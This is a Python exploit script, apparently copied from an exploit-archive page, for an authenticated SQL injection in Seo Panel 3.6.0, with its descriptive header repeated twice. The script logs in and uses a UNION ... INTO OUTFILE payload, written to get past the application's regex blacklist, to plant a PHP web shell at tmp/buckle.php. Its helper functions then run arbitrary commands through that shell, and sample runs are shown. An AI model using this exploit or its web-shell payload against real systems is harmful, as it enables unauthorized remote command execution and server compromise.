136 lines
No EOL
4.4 KiB
Python
Executable file
136 lines
No EOL
4.4 KiB
Python
Executable file
# Exploit Title: Seo Control Panel 3.6.0 Authenticated Sql Injection
|
|
# Date: 10/10/2014
|
|
# Exploit Author: Tiago Carvalho tcarvalho@dognaedis.com or tiago.alexandre@gmail.com
|
|
# Vendor Homepage: www.seopanel.in
|
|
# Software Link: http://www.seopanel.in/spdownload/
|
|
# Version: Seo Panel Version 3.6.0
|
|
# Tested on: Kali Linux and MAC OS X Mavericks
|
|
# OSVDB ID: Requested
|
|
"""
|
|
This vulnerability affects Seo Control Panel -
|
|
Product: Seo Panel Version 3.6.0
|
|
Tested on PHP 5.4.4-14+deb7u14
|
|
Vendor url :http://www.seopanel.in/
|
|
Their are multiple vulnerabilitis in the project not all of them are
|
|
exploitable
|
|
The Flowing exploit is able to successfull bypass the implemented
|
|
protections based on set of regex with along with a blacklist
|
|
the protections are implemeted in the flowing file:
|
|
|
|
file : includes/sp-load.php
|
|
lines: 128 to 150
|
|
|
|
The protection can easly be bypassed with payload used by this exploit
|
|
|
|
The Vulnerable method exploited is located at:
|
|
file: seo-plugins.php
|
|
method: __getSeoPluginInfo
|
|
lines: 175 to 178
|
|
Due to incorrect use of database client api
|
|
|
|
$ python seopanel.py e 127.0.0.1 /seopanel/ spadmin spadmin
|
|
[*] Upload was successfull!
|
|
|
|
$ python seopanel.py c 127.0.0.1 /seopanel/ "ls -la"
|
|
total 12
|
|
drwxrwxrwx 2 root root 4096 Oct 9 18:06 .
|
|
drwxr-xr-x 14 root root 4096 Oct 9 11:31 ..
|
|
- -rw-rw-rw- 1 mysql mysql 42 Oct 9 18:06 buckle.php
|
|
"""
|
|
|
|
#!/usr/bin/env python
|
|
import sys
|
|
import urllib2
|
|
import urllib
|
|
import cookielib
|
|
"""
|
|
This vulnerability affects Seo Control Panel -
|
|
Product: Seo Panel Version 3.6.0
|
|
Tested on PHP 5.4.4-14+deb7u14
|
|
Vendor url :http://www.seopanel.in/
|
|
Their are multiple vulnerabilitis in the project not all of them are exploitable
|
|
The Flowing exploit is able to successfull bypass the implemented protections based on set of regex with along with a blacklist
|
|
the protections are implemeted in the flowing file:
|
|
|
|
file : includes/sp-load.php
|
|
lines: 128 to 150
|
|
|
|
The protection can easly be bypassed with payload used by this exploit
|
|
|
|
The Vulnerable method exploited is located at:
|
|
file: seo-plugins.php
|
|
method: __getSeoPluginInfo
|
|
lines: 175 to 178
|
|
Due to incorrect use of database client api
|
|
|
|
$ python seopanel.py e 127.0.0.1 /seopanel/ spadmin spadmin
|
|
[*] Upload was successfull!
|
|
|
|
$ python seopanel.py c 127.0.0.1 /seopanel/ "ls -la"
|
|
total 12
|
|
drwxrwxrwx 2 root root 4096 Oct 9 18:06 .
|
|
drwxr-xr-x 14 root root 4096 Oct 9 11:31 ..
|
|
-rw-rw-rw- 1 mysql mysql 42 Oct 9 18:06 buckle.php
|
|
|
|
"""
|
|
def exploit(host,path,username,password):
|
|
#POST Login content type
|
|
headers = {'Content-type': 'application/x-www-form-urlencoded'}
|
|
|
|
#payload creates a file in project_dir/tmp
|
|
payload = {'pid':'\' UNION/**/select/**/\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',"\<\?php system($_REQUEST[\'cmd\']);\?\>"/**/from/**/seoplugins/**/into/**/outfile/**/\'/var/www/seopanel/tmp/buckle.php'}
|
|
|
|
base_url = "http://"+host+path
|
|
|
|
#url
|
|
post_args = {'userName': username, 'password': password,'sec':'login','referer':base_url,'login':'Sign In >>'}
|
|
|
|
#login url
|
|
url_login = base_url+"/login.php"
|
|
|
|
#vulnerable url
|
|
url_plugins = base_url+"/seo-plugins.php"
|
|
|
|
cj = cookielib.CookieJar()
|
|
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
|
|
request = urllib2.Request(url_login)
|
|
request.add_data(urllib.urlencode(post_args))
|
|
request.add_header('Content-type', 'application/x-www-form-urlencoded')
|
|
login_request = opener.open(request)
|
|
|
|
code = int(login_request.code)
|
|
if code == 200:
|
|
try:
|
|
##The server returns a http status 500 but even when the attack is successfull
|
|
opener.open(url_plugins,urllib.urlencode(payload))
|
|
except Exception, e:
|
|
if check(base_url) == True:
|
|
print "[*] Upload was successfull!"
|
|
|
|
#call uploaded backdore and execute requested command
|
|
def shell(url,command):
|
|
url_shell = url+'/tmp/buckle.php'
|
|
encoded_args = urllib.urlencode({'cmd':command})
|
|
return urllib2.urlopen(url_shell, encoded_args)
|
|
|
|
|
|
#call uploaded backdore execute requested command and print the result
|
|
def cmd(host,path,command):
|
|
url = "http://"+host+path
|
|
print shell(url,command).read()
|
|
|
|
#check uploaded backdore is in place
|
|
def check(url):
|
|
code = shell(url,"ls").code
|
|
if(code == 200):
|
|
return True
|
|
else:
|
|
return False
|
|
|
|
if len(sys.argv) == 6:
|
|
if str(sys.argv[1]) == "e":
|
|
exploit(str(sys.argv[2]),str(sys.argv[3]),str(sys.argv[4]),str(sys.argv[5]))
|
|
|
|
if len(sys.argv) == 5:
|
|
if str(sys.argv[1]) == "c":
|
|
cmd(str(sys.argv[2]),str(sys.argv[3]),str(sys.argv[4])) |